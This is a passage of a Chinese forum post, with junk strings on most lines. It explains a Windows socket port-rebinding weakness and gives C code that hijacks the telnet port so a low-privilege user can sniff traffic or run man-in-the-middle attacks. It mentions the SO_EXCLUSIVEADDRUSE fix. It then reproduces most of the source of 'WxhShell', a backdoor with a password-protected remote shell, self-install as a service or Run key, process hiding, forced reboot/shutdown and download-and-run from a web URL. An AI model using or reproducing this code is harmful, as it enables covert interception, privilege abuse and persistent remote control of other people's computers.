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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: fk'DJf[M  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); CQI\/oaO  
~NZ}@J{00_  
  saddr.sin_family = AF_INET; '=1@,Skj-  
8c'5P  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); H':0  
j38>5DM6L  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); (/gMtIw  
q|S,^0cU  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 yCZ[z A  
]Ag{#GJ5D  
  这意味着什么?意味着可以进行如下的攻击: {IT;g9x  
Ep8 y  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 o{xA{ @<  
y0\=F  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) >IEc4  
@h)X3X  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 dZ"d`M>o6  
$X]Z-RCK3  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。   H;Cv] -  
0JX/@LNg0  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 8Lh[>|~=  
&OP =O*B  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 &d i=alvv1  
YA*E93J0  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 W24n%Ps  
3?-2~s3gp  
  #include `fUP q ;  
  #include D}L4uz?  
  #include S<nbNSu6+  
  #include    :my@Oxx4@  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Jec<1|  
  int main() T8\%+3e.  
  { $Y<(~E$FX  
  WORD wVersionRequested; ~Pi CA  
  DWORD ret; (5&l<u"K~  
  WSADATA wsaData; of>}fJ_p  
  BOOL val; Ng+Ge5C9  
  SOCKADDR_IN saddr; H <ugc  
  SOCKADDR_IN scaddr; #Q$`3rr  
  int err; }I ^e:,{  
  SOCKET s; eW zyydl  
  SOCKET sc;  Wkc^?0p  
  int caddsize; bZi;jl  
  HANDLE mt; R4Si{J*O  
  DWORD tid;   f f_| 3G  
  wVersionRequested = MAKEWORD( 2, 2 ); 62{[)jt{  
  err = WSAStartup( wVersionRequested, &wsaData ); dX ;G [\  
  if ( err != 0 ) { [Se0+\,&  
  printf("error!WSAStartup failed!\n"); 6Rc%P)6  
  return -1; u(P;) E"1  
  } OCYC Dn  
  saddr.sin_family = AF_INET; ~n`G>Oe3  
   9Qhk~^ngg  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 aIABx!83>  
AlQ  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); lp%i%*EQ*  
  saddr.sin_port = htons(23); <|_b:  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) G?QU|<mj<  
  { DsH`I %w{  
  printf("error!socket failed!\n"); LTt| "D  
  return -1; _=68iDXm  
  } o= N_0.  
  val = TRUE; d( +E0  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 UON W3}-  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) xtP=/B/  
  { 4<QS ot  
  printf("error!setsockopt failed!\n"); 3O!TVSo  
  return -1; (Jb[_d*  
  } ~'2im[f J  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; &.t|&8-  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ]VS$ ?wD  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 + s snCr  
.+TriPL  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Obm@2;^g6  
  { $S0eERg a  
  ret=GetLastError(); ^>fjURR  
  printf("error!bind failed!\n"); wc5OK0|  
  return -1; RU^lR8;  
  } ,Cckp! 6  
  listen(s,2); :,^pLAt  
  while(1) _F1{<" 4  
  { \PB~ 6  
  caddsize = sizeof(scaddr); 6hs2B5)+  
  //接受连接请求 @|^2 +K/  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Oy!j`  
  if(sc!=INVALID_SOCKET) &G>EBKn\2`  
  { VIxt;yE  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); kFG>Km(y}  
  if(mt==NULL) fuxBoB  
  { F" -w  
  printf("Thread Creat Failed!\n"); )A4WK+yD$z  
  break; = e)[?{H  
  } ]<;m;/ H  
  } +{j? +4(B  
  CloseHandle(mt); Pe !eID8  
  } LyB$~wZx~@  
  closesocket(s); fFfH9cl!  
  WSACleanup(); [z:bnS~yiD  
  return 0; qK4E:dD  
  }    |Aw(v6  
  DWORD WINAPI ClientThread(LPVOID lpParam) Ha\q}~_  
  { e_wz8]K)n  
  SOCKET ss = (SOCKET)lpParam; Lj$yGdK<  
  SOCKET sc; b-{\manH  
  unsigned char buf[4096];  kQ$Q}3f  
  SOCKADDR_IN saddr; K'%,dn  
  long num; 8E/]k\  
  DWORD val; <)zh2UI  
  DWORD ret; %TUljX K}  
  //如果是隐藏端口应用的话,可以在此处加一些判断 W&]grG2/  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ^ b`}g  
  saddr.sin_family = AF_INET; R.R(|!w>  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); qB_MDA  
  saddr.sin_port = htons(23); Lrz>0_Q  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) )Xa`LG =|  
  { ` BH8v  
  printf("error!socket failed!\n"); "RH2%  
  return -1; e:V(kzAY;  
  } &j/ WjZPF  
  val = 100; YizJT0$  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) }VE[W  
  { :x97^.eW~  
  ret = GetLastError(); !>/U6h,_  
  return -1; /40Z-'Bl=(  
  } UUv&X+ Y  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) DT(A~U<y  
  { uj&^W[s  
  ret = GetLastError(); Nm<3bd  
  return -1; E/(:\Cm^  
  } K 3?7Hndf2  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) r,i^-jv;  
  { d>  Y9g  
  printf("error!socket connect failed!\n"); pq>"GEN  
  closesocket(sc); kAf:_0?6  
  closesocket(ss); B{QY-F~  
  return -1; A7-QOqST(  
  } Te2XQU2,F  
  while(1) ]BCH9%zLj  
  { ,a< !d  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 PR~ho&!  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 TeG5|`t],  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 52K3N^RgR  
  num = recv(ss,buf,4096,0); sxl29y^*  
  if(num>0) s9qr;}U.`  
  send(sc,buf,num,0); 9<P1?Q  
  else if(num==0) 2M= gpy  
  break; >va#PFHA  
  num = recv(sc,buf,4096,0); ve=oH;zf  
  if(num>0) qJVW :$1q  
  send(ss,buf,num,0); RMmDcvM"k  
  else if(num==0) c5<M=$  
  break; (<(8(} x  
  } vz,l{0 v  
  closesocket(ss); xgL*O>l)  
  closesocket(sc); UbJ_'>hK6  
  return 0 ; Wze\z  
  } d;9 X1`"  
tH2y:o 72  
OYgD9T.8^  
========================================================== ;->(hFJt  
3uz@JY"mK  
下边附上一个代码,,WXhSHELL :Y0*P  
=5oE|F%  
========================================================== y0M^oLx  
&2Q4{i  
#include "stdafx.h" W7S`+Pq  
OCa74)(  
#include <stdio.h> uYhm Fp  
#include <string.h> ckBcwIXlP&  
#include <windows.h> votv rZ=  
#include <winsock2.h> O2us+DhQ  
#include <winsvc.h> U{} bx  
#include <urlmon.h> 0j7W\'!t  
\&`S~cV9  
#pragma comment (lib, "Ws2_32.lib") 0[7\p\Q  
#pragma comment (lib, "urlmon.lib") HO/Ij  
GP<A v1  
#define MAX_USER   100 // 最大客户端连接数 CbVUz<  
#define BUF_SOCK   200 // sock buffer [, 3o  
#define KEY_BUFF   255 // 输入 buffer kKr7c4q  
r;g[<6`!S  
#define REBOOT     0   // 重启 c]v $C&FX  
#define SHUTDOWN   1   // 关机 )AEJ` xC  
<[@AMdS  
#define DEF_PORT   5000 // 监听端口 |`1lCyV\tE  
6.ASLH3#  
#define REG_LEN     16   // 注册表键长度 -uIu-a]  
#define SVC_LEN     80   // NT服务名长度 Kp'_lKW)]q  
`|P fa  
// 从dll定义API [`BMi-WQ  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); uPr'by  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); "-88bF~  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); (/Lo44wT  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); =&;orP  
c Owa^;  
// wxhshell配置信息 ~1]4 J(+  
struct WSCFG { Uoe;4ni  
  int ws_port;         // 监听端口 5R\{&  
  char ws_passstr[REG_LEN]; // 口令  $A]2Iw!&  
  int ws_autoins;       // 安装标记, 1=yes 0=no [nZf4KN  
  char ws_regname[REG_LEN]; // 注册表键名 m-Q!V+XQp  
  char ws_svcname[REG_LEN]; // 服务名 UmUw>+A  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Yj3j?.JJk  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息  +:k Iq  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 v W=$C  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 2fFZ70Yh  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" kH/u]+_  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 r6S-G{o  
.sI*\@w.  
}; a9]F.Jm  
}%Mj`Bh  
// default Wxhshell configuration "Zm**h.t  
struct WSCFG wscfg={DEF_PORT, nX~Qt%  
    "xuhuanlingzhe", N3dS%F,_  
    1, sdN@ZP  
    "Wxhshell", <LL+\kfTZO  
    "Wxhshell", ;w>Dqem  
            "WxhShell Service", KZrg4TEVi  
    "Wrsky Windows CmdShell Service", =h5&:?X  
    "Please Input Your Password: ", &O8vI ,M  
  1, zwJB.4@  
  "http://www.wrsky.com/wxhshell.exe", 2E5n07,  
  "Wxhshell.exe" lw+Y_;  
    }; (5CdA1|  
dpAj9CX(  
// 消息定义模块 = VIU  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; [0c7fH`8V  
char *msg_ws_prompt="\n\r? for help\n\r#>"; V /i~IG`h/  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 9dS<^E(ZF  
char *msg_ws_ext="\n\rExit."; c{.y9P6  
char *msg_ws_end="\n\rQuit."; ?{=& Ro  
char *msg_ws_boot="\n\rReboot..."; hc7"0mVd{  
char *msg_ws_poff="\n\rShutdown..."; E>LZw>^Y J  
char *msg_ws_down="\n\rSave to "; *<HA])D,  
`r#]dT[g  
char *msg_ws_err="\n\rErr!"; {ovt 6C  
char *msg_ws_ok="\n\rOK!"; OVq(ulwi+  
9 +1}8"~  
char ExeFile[MAX_PATH]; T-MC|>pv  
int nUser = 0; X|&v]mJ  
HANDLE handles[MAX_USER]; .)(5F45Wg  
int OsIsNt; Sb QM!Q  
&VPfI  
SERVICE_STATUS       serviceStatus; r+%$0eB1^  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; gn-@OmIs  
Pzt 5'O@dA  
// 函数声明 idzc4jR6BT  
int Install(void); shk yN  
int Uninstall(void); eP(|]Rk  
int DownloadFile(char *sURL, SOCKET wsh); =Ju%3ptH0  
int Boot(int flag); _ASyGmO{  
void HideProc(void); R) ep1X^  
int GetOsVer(void); _-=yD@;[D  
int Wxhshell(SOCKET wsl); tl6x@%\  
void TalkWithClient(void *cs); `8 Ann~Z|k  
int CmdShell(SOCKET sock); jjT)3 c:J[  
int StartFromService(void); 2 xE+"?0  
int StartWxhshell(LPSTR lpCmdLine); MSqW {  
`g}po%k  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); S^Mx=KJG  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); V}aZ}m{J  
`G'Z,P-a  
// 数据结构和表定义 mYx6JU*`  
SERVICE_TABLE_ENTRY DispatchTable[] = 0n/+X[%Ti  
{ /1BqC3]tL  
{wscfg.ws_svcname, NTServiceMain}, %n{ue9  
{NULL, NULL} MA,7 |s  
}; 6DuA  
b3.}m[]  
// 自我安装 WSxE/C|[  
int Install(void) RW`+F|UbE  
{ Y3.^a5o  
  char svExeFile[MAX_PATH]; >F5E^DY  
  HKEY key; =/m$ayG  
  strcpy(svExeFile,ExeFile); !d Z:Ih.[{  
PfN[)s4F{R  
// 如果是win9x系统,修改注册表设为自启动 GdVrl[  
if(!OsIsNt) { z1m-t# v:  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { e_+SBN1`P&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *v#Z/RrrA  
  RegCloseKey(key); yvCX is  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { h$)4%Fy  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); aZ'(ar :  
  RegCloseKey(key); #_kV o3  
  return 0; G-[.BWQ   
    } W`F?j-4  
  } 8 3Tv-X  
} M@=VIrX,m  
else { HhB&vi  
E_H.!pr  
// 如果是NT以上系统,安装为系统服务 gxc8O).5vY  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); =X3Rk)2r  
if (schSCManager!=0) 4Z0Y8y8)  
{ ]sD lZJX<M  
  SC_HANDLE schService = CreateService J+ uz{  
  ( m](q,65 2  
  schSCManager, bScW<DZJ-  
  wscfg.ws_svcname, x"~gulcz  
  wscfg.ws_svcdisp, [5-3PuT&9  
  SERVICE_ALL_ACCESS, Z#zXary5s  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , `s8!zy+  
  SERVICE_AUTO_START, AGV+Y 6  
  SERVICE_ERROR_NORMAL, '3]M1EP  
  svExeFile, )@_5}8  
  NULL, lnnT_[ni.  
  NULL, 8Z>=sUMQ  
  NULL, @n;$Edza/  
  NULL, ]6].l$%z#  
  NULL ;3&HZq6Z (  
  ); tY- `$U@  
  if (schService!=0) 'RpX&g  
  { C/ENJ&  
  CloseServiceHandle(schService); P;K <P  
  CloseServiceHandle(schSCManager); H|z:j35\  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); xeW}`i5_w  
  strcat(svExeFile,wscfg.ws_svcname); "qhQJql  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 1q/Q@O  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); /3o@I5  
  RegCloseKey(key); -Q" N;&'[&  
  return 0; M,g$  
    } Eb89B%L62G  
  } ~IQw?a.E  
  CloseServiceHandle(schSCManager); l {t! LTf;  
} cm`x;[e6l  
} +K:hetv  
a H *5(E]  
return 1; *eAzk2  
} L+Q.y~  
G$E+qk nJL  
// 自我卸载 Q6hWHfS  
int Uninstall(void) x%%OgO +>  
{ +J7xAyv_Oz  
  HKEY key; sJ7ZE-v]h  
 4_d'Uh&]  
if(!OsIsNt) { frUO+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { p~17cH4~-f  
  RegDeleteValue(key,wscfg.ws_regname); G'(8/os{  
  RegCloseKey(key); >=d%t6 %(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { M5c~-}Ay  
  RegDeleteValue(key,wscfg.ws_regname); BL H~`N3U  
  RegCloseKey(key); N.?)s.D(  
  return 0; .y>G/8_i  
  } O_^t u?x  
} QN^AihsPi  
} 2)(ynrCe  
else { ObSRd$M  
XG01g3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); @Q%<~b[y  
if (schSCManager!=0) 3pjK`"Nmz\  
{ {R}Kt;L:Ut  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); E @7);i5K  
  if (schService!=0) Hg 2Rcl  
  { s> JWNP  
  if(DeleteService(schService)!=0) { <L+y 6B  
  CloseServiceHandle(schService); mcq.*at  
  CloseServiceHandle(schSCManager); TcOmBKps'  
  return 0; .?)gn]#  
  } k.!m-5E  
  CloseServiceHandle(schService); o((!3H{ D  
  } Qgxpq{y  
  CloseServiceHandle(schSCManager); _7b' i6-  
} =p>IP"HJ  
} kR65{h"gZT  
wAF<_NG#  
return 1; tPaNhm[-q7  
} `]j:''K  
4}Dfi5:   
// 从指定url下载文件 <CGABlZ  
int DownloadFile(char *sURL, SOCKET wsh) Xhp={p;  
{ 4^_'LiX3[  
  HRESULT hr; %JPBD]&M  
char seps[]= "/"; '?uwUBi  
char *token; AI#.G7'O  
char *file; q6EZ?bo{  
char myURL[MAX_PATH]; Y>Fh<"A|$  
char myFILE[MAX_PATH]; Eal*){"<,?  
EGxCNB  
strcpy(myURL,sURL); 0[.T`tpN'  
  token=strtok(myURL,seps); 'w?}~D.y  
  while(token!=NULL) <5o oML]nP  
  { &n~v;M  
    file=token; )Y:C'*.r  
  token=strtok(NULL,seps); Jsf"h-)P  
  } L~{3W  
GUC.t7!  
GetCurrentDirectory(MAX_PATH,myFILE); OCEhwB0  
strcat(myFILE, "\\"); 1<;G oC"  
strcat(myFILE, file); `rb}"V+  
  send(wsh,myFILE,strlen(myFILE),0); Ni>!b6 Z`[  
send(wsh,"...",3,0); yR1v3D4E  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ]h%~'8g,  
  if(hr==S_OK) B3&C=*y  
return 0; WB5M ![  
else C_;A~iI7  
return 1; eXi}-~o  
<+_WMSf;4  
} z!aU85y  
@:t2mz:^i  
// 系统电源模块 t&Jrchk  
int Boot(int flag) ou=33}uO  
{ nQ#NW8*Fs  
  HANDLE hToken; t5k=ngA  
  TOKEN_PRIVILEGES tkp; /" @cv{  
FD/=uIXH2  
  if(OsIsNt) { b<j*;n.  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); yOO@v6jO)  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); EbnV"]1  
    tkp.PrivilegeCount = 1; #|K5ma  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; v)JS4KS  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); (BGflb  
if(flag==REBOOT) { 7M<co,"  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ~uu{ v')  
  return 0; RG:_:%@%}  
} u1`JvfLrL  
else { W1ql[DqE{  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) H18pVh  
  return 0; \m#{ {SGm  
} dg#w!etB  
  } ")9jt^  
  else { 6*:U1{Gl)  
if(flag==REBOOT) { j%i6H1#.Z  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) UZ!It>  
  return 0; Jk57| )/  
} O@a7MzJ  
else { {J-Ojw|Y b  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ~^l;~&  
  return 0; _Uhl4Mh  
} kV4,45r  
} C0W-}H  
d 9]zB-A  
return 1; yC7lR#N8j0  
} 5C-XQS1  
R]0tG   
// win9x进程隐藏模块 8|tnhA]~  
void HideProc(void) EP{/]T  
{ \"b'Z2g  
Lc0=5]D   
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ;&XC*R+  
  if ( hKernel != NULL ) e?:1wU  
  { ,,;vG6^a  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); r-,u)zf"  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); .@psW0T%  
    FreeLibrary(hKernel); Li9>RY+3  
  } G,6 i!M  
Tj6kCB  
return; av~kF  
} l_pf9 !z  
|k]fY*z(  
// 获取操作系统版本 gSkY c{b  
int GetOsVer(void) 5 Q,j+  
{ vJ e c+a  
  OSVERSIONINFO winfo; ~'N+O K  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ?L6wky{  
  GetVersionEx(&winfo); goc; .~?  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Nt687  
  return 1; R,8T t!n  
  else Kf`/ Gc!  
  return 0; >]kZ2gVt  
} MJU*Sq  
)*&61  
// 客户端句柄模块 e^UUR-K%  
int Wxhshell(SOCKET wsl) h$p}/A  
{ XI"IEwB  
  SOCKET wsh; ps33&  
  struct sockaddr_in client; O$X^Ea7~  
  DWORD myID; Tn?D~?a*O  
h{^MdYJ  
  while(nUser<MAX_USER) @_?Uowc8  
{ 60l!3o"p!  
  int nSize=sizeof(client); 3U*4E?g  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); \vE-;,  
  if(wsh==INVALID_SOCKET) return 1; rdH^"(  
!ZY1AhGZ  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); {"O-/* f+(  
if(handles[nUser]==0) V-18~+F~"a  
  closesocket(wsh); o1H6E1$=  
else ~I]aUN  
  nUser++; f7Gs1{  
  } /*G bl  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); lYU?j|n  
pL: r\Y:R  
  return 0; 0 > QqsQ  
} ]'Gz~Z%>F  
Wr+1e1[  
// 关闭 socket >AWWwq -  
void CloseIt(SOCKET wsh) c/%GfB[w0  
{ xu@xP5GB^  
closesocket(wsh); a[=ub256S  
nUser--; tUGF8?& G  
ExitThread(0); \)W Z D  
} &Y3ZGRT  
@ ZN@EOM$+  
// 客户端请求句柄 )U{\c2b  
void TalkWithClient(void *cs) $&sV.fGu  
{ ~6{U^3  
}\1IsK~P  
  SOCKET wsh=(SOCKET)cs; ]Mvpec_B  
  char pwd[SVC_LEN]; >|mZu)HIY;  
  char cmd[KEY_BUFF]; - x;xQ  
char chr[1]; ViU5l*n;  
int i,j; m@YK8 c#$  
'Jd*r(2d  
  while (nUser < MAX_USER) { ),2|TlQ  
W *2P+H%  
if(wscfg.ws_passstr) { 4r#4h4`y|  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /Eu|Jg=I  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <KX+j,4  
  //ZeroMemory(pwd,KEY_BUFF); 3;AJp_;  
      i=0; pDcGf7  
  while(i<SVC_LEN) { t(}g;O-  
i;\n\p1  
  // 设置超时 A.(e=;0bu  
  fd_set FdRead; Z_mQpt|y  
  struct timeval TimeOut; 3Te&w9K  
  FD_ZERO(&FdRead); vVSf'w   
  FD_SET(wsh,&FdRead); z6|kEc"{  
  TimeOut.tv_sec=8; 6_K7!?YG7  
  TimeOut.tv_usec=0; )!;20Po  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); -1w^z`;2h  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); )[ejb?{d  
FM|3'a-z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); fr}.#~{5Y  
  pwd=chr[0]; #VxN [770  
  if(chr[0]==0xd || chr[0]==0xa) { h;R>|2A  
  pwd=0; k7]4TIUD*  
  break; i?,\>LTG  
  } 0n\AUgVPF  
  i++; j|{ n?  
    } +}eK8>2  
5x!rT&!G  
  // 如果是非法用户,关闭 socket Y Azj>c&  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); dJ>tM'G  
} /v.<h*hxWy  
a6?t?: ~|  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); )~IOsTjI  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @X P_~ N  
g"`jWSt7Q  
while(1) { i O$ ?No  
S'`RP2P  
  ZeroMemory(cmd,KEY_BUFF); U&SSc@of  
tH:?aP*2  
      // 自动支持客户端 telnet标准   SZ:R~4 A  
  j=0; Vddod  
  while(j<KEY_BUFF) { 3ouo4tf$H.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "]q0|ZdOwH  
  cmd[j]=chr[0]; .=) *Qx+  
  if(chr[0]==0xa || chr[0]==0xd) { 5@n|uJA  
  cmd[j]=0; !uA'0U?ky  
  break; [ Scao $  
  } QBA{*@ A-  
  j++; TQOJN  
    } 3TN'1D ei  
8E>2 6@.  
  // 下载文件 [ C!m,4  
  if(strstr(cmd,"http://")) { SQN{/")T  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); CY"i|s  
  if(DownloadFile(cmd,wsh)) X>Z83qV5d!  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ob/HO (h3  
  else qat'Vj,  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p*JP='p  
  } ca[*#xiJ  
  else { yr)e."#S  
$?9u;+jIR  
    switch(cmd[0]) { 24f N3  
   [geT u  
  // 帮助 I]~s{I(EK  
  case '?': { >n1UK5QD  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Vkqfs4t  
    break; *48LQzc  
  } i,L"%q)C  
  // 安装 hJX;/~L  
  case 'i': { F |_mCwA  
    if(Install()) [mF=<G"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nVGOhYn  
    else 9~ifST \  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dhuIVBp!!e  
    break; UYpln[S  
    } 2O2d*Ld>  
  // 卸载 4ijZQ  
  case 'r': { %F<3_#Y  
    if(Uninstall()) / $'M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0IsnG?"  
    else #QW% ;^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |~=4Z rcCP  
    break; b+BX >$  
    } @!(V0-  
  // 显示 wxhshell 所在路径 T8vMBaU!qY  
  case 'p': { ^ .Q/iXgh  
    char svExeFile[MAX_PATH]; >~&7D`O  
    strcpy(svExeFile,"\n\r"); CS"p3$7,  
      strcat(svExeFile,ExeFile); ^Ux*"\/Es  
        send(wsh,svExeFile,strlen(svExeFile),0); >*}m .'u  
    break; u_$Spbc]/  
    } o2LUB)=R'  
  // 重启 XP65  
  case 'b': { RY*s}f  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); q,j` _ R4  
    if(Boot(REBOOT)) PmDar<m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3[To"You  
    else { J-Fqw-<aFJ  
    closesocket(wsh); iLFhm4.PO  
    ExitThread(0); McU]U 9:z  
    } yy\d<-X~  
    break; AFNE1q;{\  
    } f&Meiu+  
  // 关机 GZ"J6/0-|  
  case 'd': { jyjK~ !0  
